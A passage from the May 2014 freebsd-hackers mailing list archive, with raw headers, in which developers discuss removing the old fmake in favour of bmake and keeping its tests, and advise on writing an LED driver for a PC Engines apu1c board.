bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s45D07qA097601 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 5 May 2014 06:00:16 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53678B51.4050406@freebsd.org> Date: Mon, 05 May 2014 21:00:01 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Hartmut.Brandt@dlr.de, jmmv@freebsd.org, bapt@freebsd.org Subject: Re: Can fmake be deleted? References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> In-Reply-To: <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 13:00:26 -0000 On 5/5/14, 7:41 PM, Hartmut.Brandt@dlr.de wrote: > Hi, > > I've seen that you've copied all the make tests over to usr.bin/make with a comment that they are fmake-only. According to your question they are to be removed. > > Isn't bmake based on some version of fmake? In fact several of these tests check for bugs that I've fixed in our fmake some years ago. Are they now reintroduced via the bmake import? Wouldn't it make sense to retain the tests that apply to bmake? so this brings up the question on my mind which is; So what's up with bmake? How does it relate to the old FreeBSD make? Why did we need a new make? what does it get us? etc. > > In fact most of these tests are for rather basic things and if they do not work in bmake then things are broken. > > When I worked on make I found it rather strange that one of the most basic programs has no tests altogether. So I recommend to make them work rather to remove them. > > harti > > -----Original Message----- > From: owner-freebsd-hackers@freebsd.org [mailto:owner-freebsd-hackers@freebsd.org] On Behalf Of Julio Merino > Sent: Saturday, May 03, 2014 1:14 AM > To: Baptiste Daroussin > Cc: sjg@freebsd.org; freebsd-hackers@freebsd.org > Subject: Re: Can fmake be deleted? > > On Tue, Apr 22, 2014 at 2:46 PM, Baptiste Daroussin wrote: >>> - Can fmake be removed from base even if ports hasn't yet dropped its >>> support for fmake? >> Yes as right now we do support both > So, given this and that there has been no comment otherwise for 10 days... I take it that I could remove fmake from the tree anytime soon. (Whether I have the time to do so or not is another story ;-) _______________________________________________ > freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 17:56:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4433C98B for ; Mon, 5 May 2014 17:56:29 +0000 (UTC) Received: from mail-qc0-f169.google.com (mail-qc0-f169.google.com [209.85.216.169]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0116FB2E for ; Mon, 5 May 2014 17:56:28 +0000 (UTC) Received: by mail-qc0-f169.google.com with SMTP id e16so5682092qcx.14 for ; Mon, 05 May 2014 10:56:21 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:in-reply-to:references:from :date:message-id:subject:to:cc:content-type; bh=nx6NcN6gWOdTdwdoTW9gUiRmrFv7B/sI4j/+JbllnQk=; b=LVNl1qLrD7Oynlefit8rMVhi/xl19LAhkxp4Rv0acWi3knycEg6AMrX2BNuTfNySdA GS6qfyE5PZjR6Ig8ZEqlQlSAXUdvRIm8OC4tayL3vaujaZAiEa/ZGGnBkfizYbQ6VHKh w4VTXfOX+9croECeL3w8kEA+D7wQGXUWjD/9ypTSJqBdVFtjyDS/IBshSHjVI+BU/i3B ae/aDOBP2InbP3gGQz2fl8bUSlSR75T6n0I35VS9cMZZI2D+0VjGLafJrMzaxb61tCoq QG1C3AdKKfb8/LqFOq8YdaY2a8qsT3+AXhzFIefTCfjfduFuXYIjJCZnonmYWHomgjzk Toyw== X-Gm-Message-State: ALoCoQk4dZemIh2y89sEpXKoWPGdTul3nbBnZs0lWYSUxP79TrBjMRHR3QVb/usMpqiKx5fasu6x X-Received: by 10.140.91.161 with SMTP id z30mr43729186qgd.65.1399312581161; Mon, 05 May 2014 10:56:21 -0700 (PDT) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.99 with HTTP; Mon, 5 May 2014 10:56:01 -0700 (PDT) X-Originating-IP: [2620:0:1003:1021:b086:8c17:b69c:a4e2] In-Reply-To: <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> From: Julio Merino Date: Mon, 5 May 2014 10:56:01 -0700 X-Google-Sender-Auth: GXjABdupQaSkaWXqdsf-iuOtzzk Message-ID: Subject: Re: Can fmake be deleted? To: Hartmut.Brandt@dlr.de Content-Type: text/plain; charset=UTF-8 Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org, Baptiste Daroussin X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 17:56:29 -0000 On Mon, May 5, 2014 at 4:41 AM, wrote: > Hi, > > I've seen that you've copied all the make tests over to usr.bin/make with a comment that they are fmake-only. According to your question they are to be removed. I'm happy to move the tests over and get them running with bmake. (Wasn't explicit in my original email, but that was my intention.) From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 18:00:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9FF14B70 for ; Mon, 5 May 2014 18:00:08 +0000 (UTC) Received: from mail-qa0-f54.google.com (mail-qa0-f54.google.com [209.85.216.54]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5C813B51 for ; Mon, 5 May 2014 18:00:07 +0000 (UTC) Received: by mail-qa0-f54.google.com with SMTP id j15so2240191qaq.13 for ; Mon, 05 May 2014 11:00:01 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:in-reply-to:references:from :date:message-id:subject:to:cc:content-type; bh=AKl7oOxwdyrC5jMGZWqLrLPl0faHcJjkVnjMtjrOn9w=; b=CcmfyMboqxv9aGjw7wPh03TxcASNg/A56GkFDcV+XnZdojdIFmUhdb+zq+Vzjowkn9 NS/CBQ5a1UxppY8a3faQ4ODbegnilNCkSx2FP0CIzmRhaiugPpc/KNieThOvzwqqNzN7 o2scMn0OdoM6vtu8KhgljOgdYEsf5HGjENSol5Pq67a9V0sb9LPMcTH8CyO2lPAcnBL3 Uqt/WQkwHX16oDEcpflRclFbbyY4M84AQCVVThyBdPuiXliVyrUb9agkIs2aKhDLM72P LxAiqlrvegQwJeL3v//3/1V2Nw0/wyHyLR0gNBqK0EyQnJUTQK1XEXsy3hXEx6J4j+6Z O22g== X-Gm-Message-State: ALoCoQmwUakonLGsiod0h/FXZjlB/4FhTH7UBnfTfHePxJv2HwQcAnV6a30dOQp384WFgE+OnxkE X-Received: by 10.140.91.161 with SMTP id z30mr43756951qgd.65.1399312801293; Mon, 05 May 2014 11:00:01 -0700 (PDT) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.99 with HTTP; Mon, 5 May 2014 10:59:41 -0700 (PDT) X-Originating-IP: [2620:0:1003:1021:b086:8c17:b69c:a4e2] In-Reply-To: <53678B51.4050406@freebsd.org> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> <53678B51.4050406@freebsd.org> From: Julio Merino Date: Mon, 5 May 2014 10:59:41 -0700 X-Google-Sender-Auth: AGTJvTIV-f7oy3F0e1nrpaGY1Hg Message-ID: Subject: Re: Can fmake be deleted? To: Julian Elischer Content-Type: text/plain; charset=UTF-8 Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org, Hartmut.Brandt@dlr.de, Baptiste Daroussin X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 18:00:08 -0000 On Mon, May 5, 2014 at 6:00 AM, Julian Elischer wrote: > On 5/5/14, 7:41 PM, Hartmut.Brandt@dlr.de wrote: >> >> Hi, >> >> I've seen that you've copied all the make tests over to usr.bin/make with >> a comment that they are fmake-only. According to your question they are to >> be removed. >> >> Isn't bmake based on some version of fmake? In fact several of these tests >> check for bugs that I've fixed in our fmake some years ago. Are they now >> reintroduced via the bmake import? Wouldn't it make sense to retain the >> tests that apply to bmake? > > > so this brings up the question on my mind which is; > > So what's up with bmake? > How does it relate to the old FreeBSD make? > Why did we need a new make? what does it get us? I don't know the details of why the import of bmake was originally done (although I suspect sharing code with NetBSD had something to do). But: why does any of this matter at this point? bmake is already the default build tool and I bet this was already discussed years ago when the code was first originally imported... From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 18:29:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AA3B2B0E; Mon, 5 May 2014 18:29:26 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6A363E42; Mon, 5 May 2014 18:29:26 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 869DFB979; Mon, 5 May 2014 14:29:25 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: apu1c led driver Date: Mon, 5 May 2014 14:03:20 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: <20140422020109.GA57760@gta.com> <1398177628.1124.406.camel@revolution.hippie.lan> In-Reply-To: <1398177628.1124.406.camel@revolution.hippie.lan> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201405051403.20390.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Mon, 05 May 2014 14:29:25 -0400 (EDT) Cc: Larry Baird , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 18:29:26 -0000 On Tuesday, April 22, 2014 10:40:28 am Ian Lepore wrote: > On Mon, 2014-04-21 at 22:01 -0400, Larry Baird wrote: > > There exists a nice simple linux driver for the leds on a pc engines apu1c > > board at http://daduke.org/linux/apu/. Converting driver to use led(4) > > and run on FreeBSD seemed straight forward. Or that is until I realized > > I don't know how to alloc and write to a fixed set of I/O ports. I believe > > the magic happens by using bus_alloc_resource(). Code below attempts to allow > > control of the second of three leds on the apu1c board. Once I get that > > working, it should be easy to extend driver to support all three leds. > > What is the correct way to allocate and write to a a set of I/O ports at > > address 0xFED801BD? > > > > #include > > #include > > #include > > #include > > #include > > #include > > #include > > > > #define BASEADDR (0xFED801BD) > > #define LEDON (0x8) > > #define LEDOFF (0xC8) > > > > #define GPIO_187 187 // MODESW > > #define GPIO_189 189 // LED1# > > #define GPIO_190 190 // LED2# > > #define GPIO_191 191 // LED3# > > > > struct apuled_softc { > > device_t sc_dev; > > int sc_rid; > > int sc_type; > > int sc_offset; > > struct resource *sc_res; > > void *sc_led1; > > }; > > > > /* > > * Device methods. > > */ > > static int apuled_probe(device_t dev); > > static int apuled_attach(device_t dev); > > static int apuled_detach(device_t dev); > > > > static device_method_t apuled_methods[] = { > > /* Device interface */ > > DEVMETHOD(device_probe, apuled_probe), > > DEVMETHOD(device_attach, apuled_attach), > > DEVMETHOD(device_detach, apuled_detach), > > > > DEVMETHOD_END > > }; > > > > static driver_t apuled_driver = { > > "apuled", > > apuled_methods, > > sizeof(struct apuled_softc), > > }; > > > > static devclass_t apuled_devclass; > > DRIVER_MODULE(apuled, pci, apuled_driver, apuled_devclass, NULL, NULL); > > > > > > static int > > apuled_probe(device_t dev) > > { > > device_set_desc(dev, "APU led"); > > > > return (BUS_PROBE_GENERIC); > > } > > > > static void > > led_func(void *ptr, int onoff) > > { > > struct apuled_softc *sc = (struct apuled_softc *)ptr; > > u_int8_t value; > > > > if ( onoff ) { > > value = LEDON; > > } else { > > value = LEDOFF; > > } > > > > bus_write_1(sc->sc_res, 1, value); > > } > > > > static int > > apuled_attach(device_t dev) > > { > > struct apuled_softc *sc = device_get_softc(dev); > > > > sc->sc_dev = dev; > > sc->sc_rid = 1; > > sc->sc_type = SYS_RES_IOPORT; > > > > if ( (sc->sc_res = bus_alloc_resource( sc->sc_dev, > > sc->sc_type, > > &sc->sc_rid, > > BASEADDR, > > BASEADDR + 4, > > 4, > > RF_ACTIVE)) == NULL ) { > > device_printf( sc->sc_dev, "Unable to allocate bus resource\n" ); > > return ENXIO; > > > > } else if ( (sc->sc_led1 = led_create(led_func, sc, "led1")) == NULL ) { > > device_printf( sc->sc_dev, "Unable to create LED 1\n" ); > > return ENXIO; > > > > } else { > > device_printf( sc->sc_dev, "LED 1 created\n" ); > > } > > > > return (0); > > } > > > > int > > apuled_detach(device_t dev) > > { > > struct apuled_softc *sc = device_get_softc(dev); > > > > if ( sc->sc_led1 != NULL ) { > > led_destroy( sc->sc_led1 ); > > } > > > > if ( sc->sc_res != NULL ) { > > bus_release_resource( sc->sc_dev, sc->sc_type, sc->sc_rid, sc- >sc_res ); > > } > > > > return (0); > > } > > > > Generally rather than specifying the physical addresses as constants in > the device driver, the address space and/or IO port resources are > managed by the driver for the bus the device sits on. For something > like LEDs and GPIOs that aren't self-identifying devices on a bus and > aren't described by ACPI or other system-provided metadata, the 'hints' > mechanism gives you a way to provide the resource metadata > in /boot/loader.conf. > > The device.hints(5) manpage has some helpful info. Typically you need > to provide an 'at' hint to say which bus the device is on. I'm not sure > what's right for your LED/GPIO device; I've only ever used at=isa. For > your device, it looks like you also need maddr/msize hints, then > bus_alloc_resource_any() with an rid of 0 and a type of MEMORY should > get you a bus_space handle for hardware access. ISA devices can hardcode ports this way, but this is written as a PCI driver, so it isn't going to work. Larry, you can try changing your driver to be an ISA driver by changing the second arg to DRIVER_MODULE() from 'pci' to 'isa'. Is there a way you can probe something or check a BIOS string to detect this driver? If so, you should auto-create a device from an identify routine (then you don't need any hints). Your probe routine should fail for ISA devices with a PNP ID so you don't attach to random things like serial ports, etc. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 22:28:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E51AA5F0 for ; Mon, 5 May 2014 22:28:23 +0000 (UTC) Received: from mail-pd0-f170.google.com (mail-pd0-f170.google.com [209.85.192.170]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B124CC63 for ; Mon, 5 May 2014 22:28:23 +0000 (UTC) Received: by mail-pd0-f170.google.com with SMTP id v10so2029271pde.1 for ; Mon, 05 May 2014 15:28:17 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=ZMGMHHV1+7blbgekHjUArZB8P9+t87yzFSBOlK/vLrg=; b=aWbYxFmdXB7V7mbVkRRVh6py+eyh07egSAZn0hzCogksxh7l97LprzFGJT7CYUWgps yCXKnRS0fYmhBfKEeZ2L8gTAa5ZwgT4WDXb5nCzOvSv72OgDFXSXXx1RP83JYwaHjDxA DWdnSPXmiJ4NWL5e+3IKmDKNlDxBY+kTdjFI0amXkFJJuI9LRhzPxUmNDKLN28ypryz6 mp/n20J5NiA2HL8TD12ebKITPHh0+el+HYSsKrd8821Q/gNbGAcI8qHn8O5XpN/vmsuD 4JpvPBdCE/um/hA5EsSZR8o3bRPY+J3TvtJXlx9I1qh7cz5ewu/hPw/6tsdVwp4LUFu/ Yy0Q== X-Gm-Message-State: ALoCoQmzuGAwwdB3qmhOxQH7AH0qJn5WcW1yrlfufX8H6CIovV9xR40Kel7uw1a7+EU8vqfruQTd X-Received: by 10.66.241.66 with SMTP id wg2mr77486721pac.132.1399328896964; Mon, 05 May 2014 15:28:16 -0700 (PDT) Received: from [10.64.26.239] (dc1-prod.netflix.com. [69.53.236.251]) by mx.google.com with ESMTPSA id vx10sm81569209pac.17.2014.05.05.15.28.15 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 05 May 2014 15:28:16 -0700 (PDT) Sender: Warner Losh Content-Type: multipart/signed; boundary="Apple-Mail=_59CF3CFE-8BF4-4991-95FF-A2B26FF1178C"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Can fmake be deleted? From: Warner Losh In-Reply-To: <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> Date: Mon, 5 May 2014 16:28:12 -0600 Message-Id: <6C95A28F-2A57-414C-B0F2-4E5D279F13DC@bsdimp.com> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> To: Hartmut.Brandt@dlr.de X-Mailer: Apple Mail (2.1874) Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org, bapt@freebsd.org, jmmv@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 22:28:24 -0000 --Apple-Mail=_59CF3CFE-8BF4-4991-95FF-A2B26FF1178C Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 [picking a message at random to reply to] I plan on removing WITHOUT_BMAKE and only supporting with bmake. I=92ll = leave it to others to deorbit fmake, but I think it is premature to = delete just yet. I have partial patches to do this, that should be = complete this week. bmake and fmake are based on the make that appeared in 4.3 and 4.4 BSD = and have evolved under separate lines for some time, with occasional = cross pollination. Warner On May 5, 2014, at 5:41 AM, Hartmut.Brandt@dlr.de wrote: > Hi, >=20 > I've seen that you've copied all the make tests over to usr.bin/make = with a comment that they are fmake-only. According to your question they = are to be removed. >=20 > Isn't bmake based on some version of fmake? In fact several of these = tests check for bugs that I've fixed in our fmake some years ago. Are = they now reintroduced via the bmake import? Wouldn't it make sense to = retain the tests that apply to bmake? >=20 > In fact most of these tests are for rather basic things and if they do = not work in bmake then things are broken. >=20 > When I worked on make I found it rather strange that one of the most = basic programs has no tests altogether. So I recommend to make them work = rather to remove them. >=20 > harti >=20 > -----Original Message----- > From: owner-freebsd-hackers@freebsd.org = [mailto:owner-freebsd-hackers@freebsd.org] On Behalf Of Julio Merino > Sent: Saturday, May 03, 2014 1:14 AM > To: Baptiste Daroussin > Cc: sjg@freebsd.org; freebsd-hackers@freebsd.org > Subject: Re: Can fmake be deleted? >=20 > On Tue, Apr 22, 2014 at 2:46 PM, Baptiste Daroussin = wrote: >>> - Can fmake be removed from base even if ports hasn't yet dropped = its=20 >>> support for fmake? >>=20 >> Yes as right now we do support both >=20 > So, given this and that there has been no comment otherwise for 10 = days... I take it that I could remove fmake from the tree anytime soon. = (Whether I have the time to do so or not is another story ;-) = _______________________________________________ > freebsd-hackers@freebsd.org mailing list = http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" --Apple-Mail=_59CF3CFE-8BF4-4991-95FF-A2B26FF1178C Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iQIcBAEBCgAGBQJTaBB9AAoJEGwc0Sh9sBEASiwQALPnxxG+yIml1QnFM998MbJI IfkXUBAUEKuFN7TOpfKAqbMhg7m6ykXGnJJG+b64bibv2ttFI0SF2ojWCf0Hq55u ZR1BgilE4gnIG7z1tGWajdGdQP+z+eCa7aub+uNRsZnRSnSOxhx2PyN7OoWXs3pM eo7aeUkJolQ1K7nIknMkuFNvpSJlHJCBu9Gcu004Wmk7b40W8oukuYi13dy/toIK JAAPT7AakCtj0T8k0K9TLDZg+9qO/cxofSWH2G2KKPQar9V0rRHm4/QOV4ybEmiF XD73qp1PAfUQvBwMyCj0UNg5ZpMNF37NpzqPmNxp4KFFiWQWwtEF22hHm8XBbvwh XnnyJtNdTLBZtPZN7g+jHiYsTwg+xO/1m8i/imvN0btORVhC4PG2u+pL+L8xRP3g qApKGOYUJkGr5Y7F535ojlagXTBdx201lXPH5hZRWFuvD+kKYQaY08J5VPQhdEwx yNDvWus6wq6+QoAHAEMIAVZZNGlaUrYWaFBen+1XmPXUBhJxM87O32QKjjHrjqDH 4XHNoV9262oUfhZTDmV1h6jJQsU7g7+ppUDVWrekWueXKic4zqXbsDf2rxyCr0Sa j4Ek9ZPhrgqfIde1uuR8wq4gJkg1FP2kbRxH1P3X3f0/lEiEt+E+VxuTYU1cgvAB K+47RXu3SA1ktRD2RUzE =zPvZ -----END PGP SIGNATURE----- --Apple-Mail=_59CF3CFE-8BF4-4991-95FF-A2B26FF1178C-- From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 22:33:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E73B07AA for ; Mon, 5 May 2014 22:33:05 +0000 (UTC) Received: from mail-pd0-f170.google.com (mail-pd0-f170.google.com [209.85.192.170]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9918AD0E for ; Mon, 5 May 2014 22:33:05 +0000 (UTC) Received: by mail-pd0-f170.google.com with SMTP id v10so2046872pde.15 for ; Mon, 05 May 2014 15:33:04 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=VGOx9Ho4EeLnzSIH8q76/0Nw1C+kkv1ML5GwoaasCJI=; b=a2RXVR6AnDMN/5+oDYssrc5yujE/w2EJD/P4Rj7dN+FGU2EGVubHndNN7gAuR/V/11 lmaylE62SpwfXuBc6+Gbkvk1joRthZEeBGiMnwPBMopf+Nfq6TOMCQ5uAic9d04lbia/ SipQbuaa1BSOtV0WSSi8FosPKXaYx2VRjOuu67ISep4vd5o4uo7oqnQVUaFVnyb5shaB hqn7CR0gigUfIA9Rpqc0pUDeoRt5KbCMru/5tWVMf8zesCuFZPZmUPcn5bujLQFl9rFM 6/DiMH/dqNX8VW0PWN6Y0eNBGXgcfbzBNALLe2YjGmqshR4EMID1tJpWGT8FQAYc4bz3 cQMw== X-Gm-Message-State: ALoCoQkH3HXRT1Uzw1pCQMDGOcJ38598xBIHEtdS7weqma3pxtJzdmIkQ6LDBU0+f7Hgpk2gOidT X-Received: by 10.66.218.226 with SMTP id pj2mr34302883pac.134.1399329184731; Mon, 05 May 2014 15:33:04 -0700 (PDT) Received: from [10.64.26.239] (dc1-prod.netflix.com. [69.53.236.251]) by mx.google.com with ESMTPSA id ey5sm81816440pab.22.2014.05.05.15.33.03 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 05 May 2014 15:33:04 -0700 (PDT) Sender: Warner Losh X-Google-Original-From: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Can fmake be deleted? From: Warner Losh In-Reply-To: <53678B51.4050406@freebsd.org> Date: Mon, 5 May 2014 16:33:02 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <1CEFC5F1-084B-4785-983F-C42EB858E2F9@gmail.com> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> <53678B51.4050406@freebsd.org> To: Julian Elischer X-Mailer: Apple Mail (2.1874) Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org, Hartmut.Brandt@dlr.de, jmmv@freebsd.org, bapt@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 22:33:06 -0000 On May 5, 2014, at 7:00 AM, Julian Elischer wrote: > On 5/5/14, 7:41 PM, Hartmut.Brandt@dlr.de wrote: >> Hi, >>=20 >> I've seen that you've copied all the make tests over to usr.bin/make = with a comment that they are fmake-only. According to your question they = are to be removed. >>=20 >> Isn't bmake based on some version of fmake? In fact several of these = tests check for bugs that I've fixed in our fmake some years ago. Are = they now reintroduced via the bmake import? Wouldn't it make sense to = retain the tests that apply to bmake? >=20 > so this brings up the question on my mind which is; >=20 > So what's up with bmake? > How does it relate to the old FreeBSD make? > Why did we need a new make? what does it get us? bmake is NetBSD=92s make. fmake and bmake have a common ancestor and some cross pollination over = the years, but they have become incompatible. bmake is better maintained than fmake. The whole meta-build system is = based on it, which would be a quantum leap beyond what fmake can do. In = the mean time, we get better compatibility with NetBSD, a better = maintained make and slightly better syntax for some things (and fewer = bugs) at the cost of some growing pains where the two were incompatible, = or we had bugs in fmake that we accidentally depended on. fmake remains in the tree as a transition measure. The next step is to = remove the (already broken) support for building world with fmake. Once = somebody has an actual, working fmake port, and some time has passed, we = can reorbit it from the tree. This has always been the plan, as far as = I know, and there=92s no reason to significantly speed it up based on = this thread. Warner= From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 04:21:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C581CA06; Tue, 6 May 2014 04:21:33 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 79221D33; Tue, 6 May 2014 04:21:33 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) 